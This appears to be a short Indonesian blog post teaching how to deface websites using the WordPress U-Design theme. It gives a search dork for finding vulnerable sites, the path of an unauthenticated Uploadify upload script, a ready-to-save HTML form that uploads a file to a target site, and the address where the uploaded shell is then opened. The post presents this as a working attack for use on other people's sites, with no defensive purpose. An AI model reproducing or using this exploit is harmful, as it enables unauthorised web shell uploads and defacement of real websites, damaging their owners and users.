Kali ini gua akan shre cara Defece Menggunakan Wordpress Themes U-DESIGN Exploit
Langsung saja
#Type: CSRF & Xampp, Uploadify
#Tested: Windows XP, 7, 8, BackBox
#CMS: WordPress
Dork: inurl:themes/u-design/ < kembangin
Exploit: /wp-content/themes/u-design/scripts/admin/uploadify/
uploadify.php
Kalau target vuln , maka tampilannya blank ( putih semua )pas di exploit
Simpan CSRF dengan Ext .html ( x.html )
<form method="POST" action="http://www.site.com/wp-content/themes/u-design/scripts/admin/uploadify/
uploadify.php"
enctype="multipart/form-data"><input type="file" name="Filedata" /><button>Upload</button><br />
</form>
Akses Shell : site.com/myshell.php
0 Response to "Defece Menggunakan Wordpress Themes U-DESIGN Exploit"
Post a Comment